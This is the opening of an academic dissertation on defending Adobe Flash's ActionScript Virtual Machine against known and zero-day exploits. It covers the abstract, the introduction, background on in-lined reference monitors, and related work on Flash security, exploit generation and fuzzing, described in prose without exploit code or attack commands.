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ABSTRACT

FADI YILMAZ. A language-based approach for securing actionscript/flash
vulnerabilities. (Under the direction of DR. MEERA SRIDHAR)

Web technologies enable web users to share files, images, audios, videos with each

other worldwide. The accessibility provided by the web lures web pirates to perform

unauthorized, malicious activities in victim machines remotely by exploiting design

flaws that reside in the implementation of web browsers and their plug-ins, virtual

machines (VMs). VMs are one of the popular browser plug-ins that are widely

deployed, have become one of the most tempting targets for attackers over the years.

The ActionScript Virtual Machine (AVM) that executes Flash binaries is one of the

browser plug-ins that lures attackers due to the number of design flaws it contains. Over

the last five years, more than 700 vulnerabilities were discovered in the AVM versions.

Therefore, ActionScript vulnerabilities became the primary vehicle for web-based

ransomware and banking trojans in 2016. Additionally, ActionScript vulnerabilities

were part of infamous exploit kits, such as Angler EK, Nuclear, and Neutrino, in the

same year 2016. More recently, researchers disclosed four zero-day exploits targeting

the AVM versions in the last two years.

This dissertation presents a robust, elegant security solution that can mitigate

major categories of vulnerabilities that reside in the AVM. The solution allows security

personnel to arrive at vulnerability-class-specific solutions that can be applied directly

into untrusted executables without requiring technology-owner companies’ cooperation.

This dissertation is presented in three thrusts: (1) vulnerability classification, (2)

in-lined reference monitoring, and (3) automatic exploit generation. The vulnerability

classification identifies the attack surface of the AVM by analyzing ActionScript vulner-

abilities to classify them. This classification is conducive to building a generic, robust

security solution that mitigates vulnerabilities that are part of major vulnerability
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classes. To demonstrate the efficiency of the vulnerability classification, a robust,

vulnerability- or vulnerability-class-specific security solution, Inscription, which lever-

ages in-lined reference monitoring, is presented. Inscription modifies untrusted Flash

binaries to thwart cyberattacks that exploit known or zero-day vulnerabilities. The

automatic exploit generation tool, GuidExp, hardens the developed security solution

by allowing security personnel to observe run-time behaviors of exploit scripts that it

synthesizes for the target design flaws.
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CHAPTER 1: INTRODUCTION

Dynamic web contents (also known as web scripts) such as web advertisements,

online games, media streams, and interactive web page animations, are the lifeblood

of the modern web. Thus, content creation technologies have been implemented to

enable developers to build web scripts. Web scripts are packed by a technology-specific

compiler to obtain executable machine code to be run in web browsers. However,

web browsers are not capable of rendering web scripts without employing a virtual

machine (VM) because the machine code generated by the compilers has a unique

file format and specifications, which are not recognized by the host machine’s OS by

default. A VM, therefore, produces OS-compatible executables from web scripts so

that web browsers can render and display web scripts to users.

ActionScript is one of those web scripting technologies (executed by the Flash

Player) preferred by more than three million developers and used by 8.3% of all

websites in 2016 [222]. Many popular content-streaming websites such as Vudu [221]

and HBO Go [92] rely on Flash to deliver content to their user-base. The widely

used job-search platform, Glassdoor [76], and the Internet performance measurement

website, Ookla SpeedTest [169], use Flash for critical functionality. Miniclip [141], a

Flash-based games website, receives over a million visitors daily. The ActionScript

virtual machine (AVM) is a component of Flash plug-ins for web browsers that

interprets and executes Flash binaries.

Vulnerabilities that reside in the implementation of AVMs may lead to a vari-

ety of exploits such as cross-site scripting (XSS) [16, 182] (CVE-2012-3414 [154],

CVE-2013-2205 [155]), cross-site request forgery (CSRF) [220], remote-code execution

(RCE) [91] (CVE-2012-0754 [153], CVE-2014-0502 [156]), code injection [36, 174], pa-



2

rameter injection [16], and control-flow hijacking [49, 220] (CVE-2012-0754) [153]. In

2018, 25 new vulnerabilities [146] and a zero-day exploit [85] of CVE-2018-4878 [162],

which reside in implementations of the AVMs, were reported. The zero-day exploit was

being used since November 2017 by North Korean hackers to steal sensitive informa-

tion of South Korean targets researching North Korean topics [121]. Furthermore, in

2016, the AVM design flaws drove six of the top ten exploit kits (e.g., Angler Exploit

Kit [97], Neutrino Exploit Kit [37], and Nuclear Pack [241]) vulnerabilities [186].

These exploit kits victimize web users daily. For instance, Neutrino Exploit Kit, which

abuses the vulnerability of CVE-2014-0502, attacked roughly 6,000 web users every

day [56]. In addition, in the last two years, the National Institute of Standards and

Technology (NIST)’s the National Vulnerability Database (NVD) [166] and MITRE’s

Common Exposures and Vulnerabilities (CVE) [146] databases rated the severity of

14 AVM vulnerabilities [146] at 9.8 out of 10 and identified them as critical [161].

Moreover, researchers discovered four zero-day exploits in the implementation of the

AVM—CVE-2018-4878 [71], 2018-15982 [151], and 2019-1214,1215 [61].

Security threats toward the AVM do not only consist of malware and vulnerabilities

but also include common usage of legacy VM versions. ActionScript’s "vulnerability

discover-then-patch" strategy is not efficient enough for securing vulnerable VMs, as

the patch lag, which is the timeframe between when a vulnerability is first discovered

and the patch for it is published, can be as long as two months [178]. This rapid

version churn inevitably means that hundreds of distinct Flash Player versions are

currently deployed by end-users worldwide, each with its own vulnerabilities and

idiosyncrasies [105, 113]. Studies estimate that nearly 62% of Internet Explorer users,

37% of Edge users, and 32% of Safari and Firefox users are running outdated Flash

Player versions that leave them unprotected against well-known attacks [178].

Exploits of legacy Flash VMs constitute one of the largest and highest impact attack

surfaces of today’s web. They are the primary vehicle for web-based ransomware and
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banking trojans, accounting for ∼80% of successful Nuclear exploits [47]. More than

90% of malicious web pages abuse Flash, making Flash the #1 attack medium for

malicious pages [138]. And the threat is growing: the market proportion of Flash

Player exploits grew more than 150% in 2016 relative to the previous year [75].

The prevalence of attacks that exploit known, patchable vulnerabilities in legacy

Flash VMs can be traced to a perfect storm of at least three major trends: First,

Flash’s seamless integration of almost every major web media format (images, sounds,

videos) into a highly portable bytecode binary with strong DRM capabilities [167],

makes it extremely compelling for the highly dynamic web content desired by today’s

developers and end-users.

Second, this power and flexibility have led to an extremely complex VM implemen-

tation that must support live streaming of all these different media formats, leading to

a risk of implementation vulnerabilities associated with each format. As a result, the

Flash Player regularly has among the top web vulnerability disclosures per year (e.g.,

it claimed the most CVEs of any application in 2016 [52]), and a rapidly evolving

version history.

Third, defense research on Flash has been impeded by the fact that the most widely

deployed Flash VMs are closed-source, and content for them is purveyed in binary-

only form without sources. The Flash ActionScript bytecode language has many

features that make apps difficult to statically analyze at the binary level, including

gradual typing, run-time code generation, dynamic class loading, and direct access to

security-relevant system resources via a variety of run-time APIs [3].

Related work in this field is limited to achieving securing legacy VMs against

well-known attacks because the existence of outdated VMs and their version-specific

security flaws are mostly ignored. Other existing works concentrate on interactions

between ActionScript and the other web technologies that happen during the process of

rendering web pages [1, 51, 124, 181] or they examine a specific type of attack [98, 177],
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Figure 1.1: Three thrusts of the AVM security

or they are not capable of targeting vulnerabilities arising out of security flaws

inside the AVM [72, 124, 170, 228] (please see Section 2 Related Work for more

details). Moreover, with the most widely deployed AVMs not being open source,

cybersecurity research on Flash has become a tough task, and content for them is

available in binary-only form without source code. In addition, since ActionScript is

a Turing-complete language, it is almost impossible to statistically predict whether

running any code segment in the Flash bytecode triggers an exploitable vulnerability

when the code is ultimately executed by the AVM. Accurate static filtering of such

attacks is therefore provably infeasible in general. In general, Flash defense has been

significantly less studied relative to other well-known non-binary scripting languages,

such as JavaScript [209, 211]. ActionScript security presence in the top six academic,

computer security venues between 2008 and 2016 is less than 1%. The total number of

publications devoted to web security is 197 out of 2514, and only 24 of them investigate

ActionScript security [211].
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1.1 Problem Statement and Proposed Contributions

In our dissertation, we focus on securing the AVM versions against both zero-day

and known exploits since they have numerous vulnerabilities, and they were used in

famous exploit kits frequently. Fig. 1.1 demonstrates three thrusts of our dissertation:

(1) vulnerability classification, (2) in-lined reference monitoring, and (3) automatic

exploit generation. These three thrusts enable us to provide robust, holistic security

for the AVM implementations together since they work in harmony. For example,

in vulnerability classification, we classify and analyze vulnerabilities in the AVM to

identify the attack surface of the AVM. Knowing the attack surface of the AVM

allows us to build vulnerability-specific in-lined reference monitors to secure untrusted

Flash scripts without modifying the vulnerable AVM implementations. We prioritize

exploitable vulnerabilities and synthesize a working exploit script for each vulnerability

class in automatic exploit generation. By running the exploit script and examining

run-time behaviors of the AVM, we discover the underlying weaknesses in the AVM

to provide a vulnerability class-specific, holistic security mechanism for the AVM. Our

technique is applicable to all deterministic, interpreting sequential inputs, web-based

VMs (e.g., JavaScript Engine) that execute a programming or scripting language that

is object-oriented and supports inheritance.

Having these details is conducive to build a generic, robust security solution that mit-

igates design flaws, which are the root of vulnerabilities. We believe that having a deep

knowledge of the underlying reasons for having vulnerabilities in the implementation

of the AVM is crucial to building such security solutions.

The main contributions of our dissertation in each of our three thrusts are as follows:

• Vulnerability Classification:

– We present an ActionScript vulnerability classification with five major Ac-

tionScript vulnerability classes since attackers mostly exploit vulnerabilities
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from these classes and heavily include them in popular exploit kits [104].

– We introduce our five major vulnerability classes by analyzing proof-of-

concept (PoC) exploits and discuss the design flaws in the implementation

of the AVM that cause vulnerabilities from these vulnerability classes.

– We present the most recent number, types, and attack vectors of Action-

Script vulnerabilities listed between 2013 and 2020 in the NVD and CVE

databases.

– We perform a more thorough classification of ActionScript vulnerabilities

labeled as the generic "Memory Corruption" and "Unspecified" vulnera-

bilities by the CVE database to determine their sub-type in one of our

more fine-grained classes (a memory corruption vulnerability can be (1)

a use-after-free, (2) a double-free, (3) an integer overflow, (4) a buffer

overflow, or (5) a heap overflow vulnerability). We re-classify 60 such

“Memory-Corruption” and 84 such "Unspecified" vulnerabilities in order

to study the attack surface of the AVM better since the information that

these databases provide is not useful enough.

– We provide more technical details that are not included in the CVE and

NVD databases about each of our vulnerability classes by introducing exam-

ple vulnerabilities, such as the way cyberattacks exploit the vulnerabilities.

• In-lined Reference Monitoring:

– We present the design and implementation of a security solution, Inscription,

that leverages in-lined reference monitoring. Our solution can guard against

major ActionScript vulnerability classes without modifying vulnerable

AVMs.

– We present two complementary binary transformation approaches (which in

our experiences can address many ActionScript vulnerabilities): (a) direct
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monitor in-lining as bytecode instructions, and (b) binary class-wrapping.

– We develop a novel memory management layer that prevents major classes

of ActionScript use-after-free and double-free vulnerabilities. Our solution

can defend against zero-day attack campaign targeting South Korean

citizens [85].

• Automatic Exploit Generation:

– We build the first end-to-end automatic exploit generation tool, GuidExp,

for the given AVM vulnerabilities to determine whether these vulnerabilities

can lead to a successful exploit (by providing proof-by-example of a working

exploit).

– We present exploit deconstruction, a strategy of splitting exploit scripts that

AEG implementations produce into smaller code blocks. Here, GuidExp

synthesizes these smaller code blocks in sequence rather than the entire ex-

ploit at once. In our running example, we show that exploit deconstruction

can reduce the complexity of the AEG process by a factor of 1045.

– We outline a detailed running example where we synthesize the exploit

script that performs an ROP attack for a real-world AVM use-after-free

vulnerability. We also report on the production of exploit scripts for ten

other real-world AVM vulnerabilities.

– Apart from exploit deconstruction, we present three other optimization

techniques, (1) operand stack verification, (2) instruction tiling, and (3)

feedback from the AVM, to facilitate the exploit generation process. We

report that in our running example, these techniques reduce the complexity

of the process by a factor of 81.9, 1013.5 and 2.38, respectively.
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1.2 Roadmap

The rest of the dissertation is organized as follows. Chapter 2 presents related work,

Chapter 3 discusses the importance of identifying the attack surface of the AVM and

our AVM vulnerability classification efforts for building holistic, robust security for

the AVM. Chapter 4 presents Inscription, our in-lined reference monitoring solution

for thwarting cyberattacks that exploit ActionScript vulnerabilities, based on the

classification introduced in Chapter 3. Chapter 5 presents a GuidExp, our guided

(semi-automatic) exploit generation tool for AVM vulnerabilities and lastly, Chapter 6

discusses conclusions.



CHAPTER 2: BACKGROUND AND RELATED WORK

2.1 Background

2.1.1 In-lined Reference Monitors

In-lined Reference Monitors (IRMs) [193] are security policy enforcement tools that

insert dynamic security guards into untrusted sources or binary programs. At run-time,

these security guards prevent impending policy violations. IRMs can keep track of

the history of security-relevant events, enabling them to enforce a wide variety of rich

policies, and enable them to be more powerful than any purely static analysis [90].

IRMs have been established to be both powerful and adoptable, with implementa-

tions for a wide variety of platforms, including Java [14, 20, 38, 54, 67, 89, 111, 125],

JavaScript [133, 239], ActionScript [87, 124, 212], Android [55] and x86/64 native

code [65, 132, 233].

Fig. 2.1 shows the architecture of an example of a certifying IRM framework. The

framework consists of four main units: (i) parser, (ii) set of binary rewriters, (iii) the

code generator, and (iv) verifier. The parser reads bit-stream untrusted executables

and generates the corresponding abstract syntax tree (AST). The rewriter instruments

(inserts security guards into) the untrusted code, working with the AST so that the

modified code does not violate given security policies. The framework employs a

binary rewriter for every security policy class. The modified code is sent to the code

generator, which reconstructs the instrumented binaries from the instrumented AST.

In a certifying IRM framework, the instrumented binary is certified or verified

against the security policy by the verifier for policy violations. Such independent

certification helps exclude the heavyweight IRM framework (parser, rewriters, code-
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generator, etc.) from the trusted computing base [207]. In the example in Fig. 2.1, a

model-checking verifier is shown [206].

Figure 2.1: Certifying IRM framework for untrusted binaries [206]

IRMs take as input security policies represented as security automata [193]. A

security automaton is defined as the tuple A = (Q,A, δ, q0) where:

Q is a finite set of states,

q0 ∈ Q is the initial state,

A is a countable set of security-relevant actions and

δ is a transition relation where δ : Q× A ⇀ Q.

The automaton changes the security state based on the transition relation. Inputs

are target program instructions that cause security state changes if they are security-

relevant operations. If no transition is defined for a security state for a given input,

the input violates the security policy in the current state [193]. Thus, the security

automaton depicts all policy-adherent behaviors of the target program.

An example security automaton for the security policy ’No message sends after

Figure 2.2: Security automaton for "No sends after file reads" policy [64].
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file reads’ is given in Fig. 2.2 [64]. The starting state of the security automaton is

start, when the program is initialized. In this example, security-relevant operations

are read and send. After the program starts, the automaton stays in the initial state

until a read event occurs; all other events are interpreted as a ¬read instructions, and

leave the automaton in the same state. When a read event occurs, the automaton

changes its state to the noSnd state. Here, the automaton allows all events except a

send. Thus, the send event has no valid transition out of the noSnd state, representing

a policy violation.

IRMs typically utilize a security automata representation of security policies to

enforce them on target applications. IRMs need to keep target program states and

security automaton states synchronized to be able to intervene in the program execution

in case of a policy violation. To do this, they maintain a security state as a protected

program variable, known as reified security state, inside the target application. The

reified security state is updated as security-relevant events occur [89].

Rewriters (tools that perform the IRM instrumentation) typically consist of complex

sub-components, such as dis-assemblers, parsers, and code-generators. This justifies

removing the rewriter from the trusted computing base, and instead, trusting a smaller

certifier. IRM certifiers can provide assurance for various desired security properties,

such as IRM transparency (behavior of safe programs is not altered by instrumentation)

and soundness (instrumented code satisfies the security policy after instrumentation).

2.1.2 ActionScript 3.0 and ActionScript 3.0 Language Features

ActionScript is the programming language for the Adobe Flash Player and Adobe

AIR run-time environments. ActionScript is both a scripting language, which con-

forms to ECMAScript standards and an object-oriented programming language with

advanced features such as inheritance, gradual typing, reflection, run-time exceptions,

concurrency and so on [86]. Flash’s advanced flexibility that requires an extremely

complex AVM implementation causes vulnerabilities associated with each format. Ac-
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tionScript executes in the AVM, which is part of Flash Player and AIR. ActionScript

code is typically transformed into bytecode format by a compiler. The bytecode is

embedded in SWF files, which Flash Player executes. SWF files do not contain only

the bytecode but also media files such as images, videos, audios, and texts. The

compiler therefore marks the bytecode with DoABC tag so that the AVM is able to

separate the bytecode from the other media data. The bytecode contains all necessary

information that the AVM needs to run the SWF file such as object, variable, function

and class names, types, package information, constants, function bodies, and instruc-

tions. Instructions reside in function bodies along with stack depth, code length,

number of local variables and global variables if any, and exceptions to be raised if

any. Instructions called opcodes are generated from ActionScript source code. The

majority of opcodes take at least one parameter, which can be the name of a variable,

a constant, or a class or an offset to jump. The parameters must be placed into the

very next byte sequence of its opcode so that the AVM can process the bytecode

linearly.

The bytecode has a specific format published by Adobe [3]. The AVM interprets

the bytecode following the specified format in order to generate an AST where each

node of the tree denotes a construct occurring in the source code. Then, the AVM

executes the generated AST starting from the root node until a termination node or a

leaf node is reached.

The AVM itself is written in the programming languages of C/C++. The execution of

the AVM starts with running the main function after loading necessary libc libraries.

The main function creates a shell where the entire core functionality of Flash Player

and the main feature of the ActionScript language are implemented. The shell is

also responsible for creating the instance of Flash Runtime for each simultaneously

executed thread to provide concurrency.
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2.2 Related Work

2.2.1 In-lined Reference Monitors

Policy Specification Languages for In-lined Reference Monitors. Security Automaton

Language (SAL), which is a declarative policy specification language, meaning that the

language expresses what the security requirements are, rather than how to implement

them, uses a textual way to specify security policies [64]. PSLang [63] is an imperative

policy specification language, which is based on the Java Virtual Machine Language

(JVML) that declares both high-level semantics of security enforcements and their

low-level implementation details. PSLang security policies start with a preamble

that specifies a set of other PSLang security policies that the current policy extends

or a set of libraries that are available to that policy. ConSpec [14] is a security

policy specification language highly inspired by PSLang. The difference between

these two languages is that while PSLang does not give an exact way to extract a

security automaton from its policy specifications, ConSpec allows generating a security

automaton representation of security policies with encoding state variables and updates

as automaton states and transitions, respectively. Security Policy XML (SPoX) [87]

is an XML-based purely declarative policy specification language for IRMs. SPoX

policies are in good harmony with Aspect-Oriented IRMs because of the semantical

connection between elements of the Aspect-Oriented Programming (AOP) and SPoX

policies.

In-lined Reference Monitoring for Java. Policy Enforcement Toolkit (PoET) [63]

is a Java IRM enforcement system that utilizes PSLang as its policy specification

language. PoET takes the Java virtual machine language (JVML) file of a target

application and a PSLang policy specification to generate a corresponding secure

program. The ConSpec [14] IRM enforcement system, which works with the ConSpec

policy specification language, targets the object code of untrusted programs generated
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in JVML. The ConSpec rewriter adds a wrapper class to intercept all unsafe method

calls and object initializations and have a reified security state as its class variable.

Java-MaC [111] is a run-time software assurance prototype for Java, based on the

Monitoring and Checking (MaC) architecture. The mission of the MaC architecture

is to ensure that a target program is running correctly with respect to a specification

of formal requirements.

In-lined Reference Monitors Leveraging Aspect-Oriented Programming. AOP [109] is

an elegant paradigm that expresses cross-cutting code transformation at the source

code level. A code transformation needs to know advice that declares code segments

to be injected and a pointcut that dictates where these segments should be inserted

throughout the code. After having pointcut-advice pairs, an aspect-weaver merges the

aspects (pointcut-advice pairs) with the rest of the code to obtain the single executable

file.

Polymer [20] extends traditional AOP-based IRMs enforcement techniques by

considering policies as first-class objects. With policies being first-class objects, policies

can be assigned as an attribute of another policy so that developers can restrict

application behaviors enforcing several policies at once. Java-MOP [38] employs

monitoring-oriented programming where untrusted programs are run at clients, and

a server monitors these programs’ behavior and errors. With Java-MOP leverages

AOP, these errors can be recovered at run-time. Hamlen et al. [87] developed an IRM

enforcement prototype that employs SPoX as its policy specification languages. The

prototype targets bytecode of untrusted applications written in the Java programming

language. The main idea of having SPoX as the policy specification language is

that SPoX semantics allows security policies to denote an Aspect-Oriented Security

Automaton, which is a security automaton whose edge labels are pointcut expressions.

In-lined Reference Monitoring for JavaScript. Yu et al. [239] proposed an IRM

enforcement mechanism, targeting JavaScript, which can be employed as a browser
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plug-in. The IRMs are embedded inside HTML documents at run-time to obtain a

self-modifying code. The plug-in must be fed with security policies written in Code-

Script [239], a security policy specification language defined by the authors. JAM [133]

is a prototype that enforces stateful security policies, which specify restrictions on

behavior in terms of temporal safety properties, on JavaScript source code.

In-lined Reference Monitoring for ActionScript Security. FIRM [124] is a middleware

that enforces access-control policies on web page contents without modifying the

web browser and AVM. It wraps untrusted scripts, and Document Object Model

(DOM) functions before sending the contents to a web browser. Each script is assigned

a unique capabilities token that indicates user-defined access-control policies to be

enforced on the script. FIRM also defines wrappers for security-sensitive DOM

functions (especially getters and setters) to provide secure interaction between

scripts and these functions. The wrappers of scripts and DOM function wrappers work

in harmony to allow or deny function calls based on capability tokens. The success of

FIRM depends on several factors. The most important factors are (1) defining and

implementing access-control policies accurately and appropriately, and (2) having the

most recently published version of web browsers and AVM on the client-side. FIRM

still has some weaknesses, even if both factors have been perfectly provided, such as

0-day attacks, externally loaded scripts, and bugs in the AVM.

Another IRM solution, FlashJaX [181], secures cross-platform web content that

spans both ActionScript and JavaScript. It mainly focuses on some APIs that provide

interaction between ActionScript and JavaScript. When these methods are called, the

calls are intervened by wrappers specific for each scripting language. Adopting two

separated IRM insertion mechanisms for such interaction requires keeping security

states of each IRM synchronized at every decision point. Since this practice causes a

significant delay in decision making progress, it might lead to time-sensitive attacks,

such as race condition and TOCTTOU to happen. To avoid this, FlashJaX employs
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the policy engine that keeps security states updated, and yields monitoring results

on policy violations to the JavaScript IRMs. The FlashJaX core algorithm has four

main steps: (1) ActionScript and JavaScript IRMs detect security-relevant events, (2)

ActionScript side consults JavaScript side because most security-relevant ActionScript

events contain an ActionScript-JavaScript interaction, (3) JavaScript IRMs consult the

policy engine to obtain (4) the monitoring answer. Based on the answer, JavaScript

IRMs suppress or permit the event.

The majority of related work on IRM implementations does not include the Ac-

tionScript language in its application space. Additionally, IRM implementations

for the ActionScript language do not focus on mitigating the vulnerabilities in the

AVM implementations, but rather they either concentrate on a specific threat model

such as cross-platform interaction between ActionScript and other languages, or ad-

dress a specific security concern such as access control. As a result, they cannot

provide a comprehensive security solution because they do not address the underlying

weaknesses of the AVM implementations that create vulnerabilities. Unlike other

IRM implementations for ActionScript security, our work, Inscription, secures un-

trusted Flash scripts against known and zero-day attacks that target weaknesses in

the AVM implementations without modifying the vulnerable AVM versions (please

see Chapter 4).

2.2.2 Other ActionScript Security Solutions

Although ActionScript contents were used for a significant percentage of all web

sites, ActionScript security has been considerably less studied in the literature than

the other major scripting languages. Sridhar et al. [211] provide a systematic study

of ActionScript security threats and trends, including a taxonomy of ActionScript

vulnerability classes, and analyses of over 700 CVE entries listed between 2008-2016

to encourage future research.

The extended same-origin policy (eSOP) [102] mitigates ActionScript-based DNS
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rebinding attacks by adding a server-origin component to the browser’s same-origin

policy. The server-origin is explicit information provided by the server concerning

its trust boundaries; any mismatch between domain and server-origin stops the

attack.

Copious benign usage of URL redirection in ActionScript ads misleads security

tools to produce false negatives for truly malicious URL redirects in ActionScript

plug-ins. Related work monitors plug-ins instead of SWFs to reduce this false-negative

rate [216]. Spiders also identify malicious Flash URL redirects [119].

HadROP [177] utilizes machine learning to mitigate (ActionScript) ROP attacks.

Differences in micro-architectural events between conventional and malicious programs

are used for detection. In another related work, static and dynamic analyses are

used to extract features of a SWF for feeding into a deep learning [192] tool for

anomaly-based ActionScript malware detection [103].

GORDON [227] uses structural and control-flow analyses of SWFs and machine-

learning to detect the presence of malware. However, GORDON has been implemented

on AVM’s open-source implementations, Gnash [77], and LightSpark [58]. FlashDe-

tect [170] extends OdoSwiff [72] to ActionScript 3.0. It dynamically analyzes SWF

files using an instrumented version of Lightspark [58] Flash player to save traces of

security-relevant events. It then performs static analysis on AS3 bytecode to identify

common vulnerabilities and exploitation techniques.

The related work on ActionScript security is limited in the mitigation of vulnerabil-

ities in the implementation of the AVM. Most of the works examine a specific type of

attack, such as ROP or SOP bypass, without considering the underlying weaknesses of

the AVM implementation. However, Inscription inserts security guards into untrusted

Flash scripts to obtain new, security-hardened Flash scripts to mitigate these AVM

implementation vulnerabilities. These security guards ensure that exploit scripts do

not exploit AVM vulnerabilities by monitoring more generalized security-relevant
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program behaviors of Flash scripts and allowing their execution after determining

they are safe (please see Chapter 4).

2.2.3 Automated Exploit Generation

Automatic Exploit Generation. Automatic exploit generation (AEG) is the challenge

of determining the exploitability of a given vulnerability by exploring all possible

execution paths that can result from triggering the vulnerability. AEG implementations

are used to generate an exploit script that exploits the given vulnerability. Manually

crafting the exploit script for a given vulnerability is an arduous task that requires

special expertise. Therefore, AEG implementations are useful in automating at least

part of this process. Additionally, AEG tools help discover novel exploit pathways

that attackers might employ so that researchers can use this information to harden

their security mechanisms.

Numerous papers [2, 15, 23, 27, 34, 50, 57, 74, 93, 94, 96, 99, 110, 128, 129, 171, 187,

202, 213, 223, 229, 230, 237, 240] have addressed the AEG problem for different types of

vulnerabilities. The AEG problem is first proposed in [19], and defined as automatically

finding vulnerabilities and generating exploits for them. AEG tools combine high

performance fuzzing and symbolic execution to first identify software vulnerabilities

and then to exploit them in an autonomous fashion. Symbolic execution tools such

as SAGE [80], KLEE [33], BitFuzz [32], S2E [46], and FuzzBall [131] concentrate on

searching execution paths but not generating exploits.

Hybrid concolic testing is a recent advancement for AEG implementations, in which

AEG tools interleave random testing with concolic execution [130]. DeepFuzz [27]

extends hybrid concolic testing by assigning weights to the explored paths after each

concolic execution step in order to rank the execution paths based on their weights.

Kuznetsov et al. [114] propose state merging, which tries to reduce the number of paths

by combining states using disjunctions. FUZE [229] utilizes kernel fuzzing along with

symbolic execution to facilitate kernel UAF exploitation. However, these techniques
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are not immediately helpful to synthesize exploit scripts for AVM vulnerabilities since

they require utilizing a fuzzer or a symbolic execution tool.

In our dissertation, we present a semi-automatic exploit generation tool for AVM

vulnerabilities that does not rely on a fuzz tester or a symbolic execution tool, but

instead requires human assistance to synthesize the exploit script. Our tool, GuidExp

(please see Chapter 5), uses human expertise to break the exploit script it synthesizes

into smaller code segments. Therefore, GuidExp focuses on synthesizing these

relatively smaller code segments in sequence instead of synthesizing the entire exploit

code at once. Then, GuidExp stitches them together to obtain the entire exploit

code.

Automated Compiler Testing. In the literature, there are compiler testing techniques

focusing on automated test input generation [31, 40–44, 95, 115, 117, 126, 136, 198,

232, 242]. These techniques test programs that take as input other programs. Compiler

testing techniques aim to find as many bugs as possible. They do not need to penetrate

deep into the search space as long as bugs can be triggered with simple inputs. There

are mainly two flavors of approaches here. Tools like [31, 126, 136, 198, 232, 242]

focus on generating a diversified set of inputs based on highly-specified generation

rules. These tools are good at finding bugs that can be triggered by simple but

strange-looking inputs. Tools like [40, 44, 95, 115, 117] take a different stance. Instead

of constructing new inputs from scratch, these tools generate new inputs by mutating

existing inputs, and they are good at triggering bugs lurking in corner case handling.

The main difference between compiler testing techniques and our guided exploit

generation engine, GuidExp, is their goal; compiler testing techniques focus on

discovering as many bugs as possible. Therefore, after finding the exploit script that

shows that the vulnerability exists, they do not need to penetrate deeper into the

search space. On the contrary, GuidExp is designed to synthesize the exploit script

that performs an ROP attack after triggering the given vulnerability. As a result,
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GuidExp needs to search a relatively larger search space compared to conventional

compiler testing techniques, which compels GuidExp to employ iterative searching

and more intensive human-computer interaction.

Fuzzing. Improving fuzz testers has been an active field for decades. First, black-box

fuzz testing [140], a fuzzing approach in which fuzz testers are not informed of the

target program and treat it as a black-box, was proposed. Then, researchers put

more focus on white-box fuzz testing, a more recent fuzzing strategy, in which the fuzz

testers symbolically execute the target application to gather constraints on inputs

from conditional branches encountered along the execution [80].

Coverage-based gray-box fuzzing (CGF) and smart gray-box fuzzing (SGF) are the

most efficient and recent approaches for automated vulnerability discovery. A CGF ran-

domly mutates, deletes, or copies some bits in given seed files to generate new files. In

contrast to white-box approaches [73, 79, 80, 179], which suffer from high overhead due

to constraint solving and program analysis, and black-box approaches [29, 39, 95, 224],

which are limited because of lack of knowledge about target applications, CGFs uti-

lize lightweight code instrumentation [24, 185, 205, 225, 226, 243]. libFuzzer [226],

AFL [225] and its extensions [18, 24, 25, 45, 118, 123, 175, 176, 213] constitute the

most widely-used implementations of CGF. SGF leverages a high-level structural rep-

resentation of the seed file to generate new files and is introduced as AFLSmart [180].

Although gray-box fuzzing implementations can generate distinct executables to guide

the fuzzer to new code regions, these fuzzers are not capable of efficiently generating

grammatically valid AVM scripts due to the high complexity of grammar rules adopted

by the AVM. However, GuidExp is capable of generating AVM scripts that adhere

to the grammar rules. GuidExp modifies the metadata and code block of generated

AVM scripts according to the enforced grammar rules to make sure that they can be

interpreted by the AVM without any issue.



CHAPTER 3: A FINE-GRAINED CLASSIFICATION AND SECURITY ANALYSIS

OF WEB-BASED VIRTUAL MACHINE VULNERABILITIES1

3.1 Introduction

Dangerous vulnerabilities continue to abound in numerous web-based VMs. For

example, JavaScript frameworks, such as Angular [17] and jQuery [215], were down-

loaded more than 200 million times in the last year and contained 27 vulnerabilities,

some of which have no security fix available to date [203]. Additionally, Bootstrap [26],

an open-source CSS framework, has been downloaded around 80 million times in the

last year, all the while containing seven XSS vulnerabilities [203]. In 2018, more than

25 million new JavaScript malware was detected [135]. Researchers discovered four

zero-day exploits in the implementation of the AVM [61, 71, 151] within the same

time frame. In addition, 75% of the top twenty vulnerabilities in ASP.NET, which is

an open-source web framework created by Microsoft, have a high severity rating, and

around 70% of them can lead to RCE, DoS or XSS [204].

Creating robust and holistic defense solutions for mitigating critical, highly dan-

gerous web-based VM vulnerabilities requires a comprehensive understanding of the

expected behaviors of the code segments that are responsible for the vulnerability

and the reasons why some web script code might act differently from their developers’

intentions. However, building security solutions for every vulnerability-specific design

flaw is an arduous task that involves an immense amount of human effort. Therefore,

generic, vulnerability-class-specific security solutions that address underlying issues of

the web-based VM implementations are essential for providing a secure web experience
1This chapter includes previously published [210, 212] and recently submitted [236] joint work

with Meera Sridhar, Abhinav Mohanty, Vasant Tendulkar and Kevin W. Hamlen.
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for web users.

Researchers and security defense builders currently rely mostly on the CVE and

NVD databases for obtaining information about vulnerabilities in order to build

mitigating defenses. These databases exhaustively list all disclosed vulnerabilities and

provide useful information about each vulnerability, such as a brief description, the

type, the impact score, the severity of the vulnerability, and the vulnerable versions of

affected systems based on reports from hundreds or thousands of researchers, from

hobbyists to professionals [145]. However, having many contributors with different

backgrounds hinders having a coherent and well-formed vulnerability database, which

is an important prerequisite to building robust, generic security solutions that address

the implementation issues of different web-based implementations.

For example, the CVE and NVD databases classify almost 30% of ActionScript

vulnerabilities as “Memory Corruption” vulnerabilities, which is insufficiently precise

for building many defenses, since it is too coarse-grained—a "Memory Corruption"

vulnerability can in fact be further categorized as a use-after-free (UAF) or a double-

free (DF) or one of buffer-, integer-, or heap-overflow vulnerabilities; mitigating each

of these vulnerability sub-classes requires different security approaches and techniques.

Also, a significant number of CVE entries do not declare the type of ActionScript

vulnerabilities and label them as “Unknown”. For instance, MITRE reports that

more than a quarter of the OS vendor advisories did not have sufficient details to

classify the vulnerability (type “Unknown”), at 26.8% [145]. Additionally, CVE and

NVD databases potentially misclassified four “critical” and exploitable vulnerabilities

affecting confidentiality, 42 vulnerabilities for integrity, and 46 vulnerabilities for

availability in just the last two years [62].

Our main goal in this chapter is to analyze and present a more fine-grained web-

based VM vulnerability classification, creating meaningful sub-classes of the "Memory

Corruption" CVE category to identify the attack surface of web-based VMs more
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accurately than what the CVE and NVD databases provide.

For our analysis, we choose the AVM as a representative model for study, since it

has been exploited repeatedly by attackers during the last decade due to numerous

vulnerabilities that it has hosted. One of the main reasons for the AVM being such a

frequent target of attack (and an interesting VM for study) is its sheer complexity—the

AVM combines many of the most aggressive features of other scripting and object-
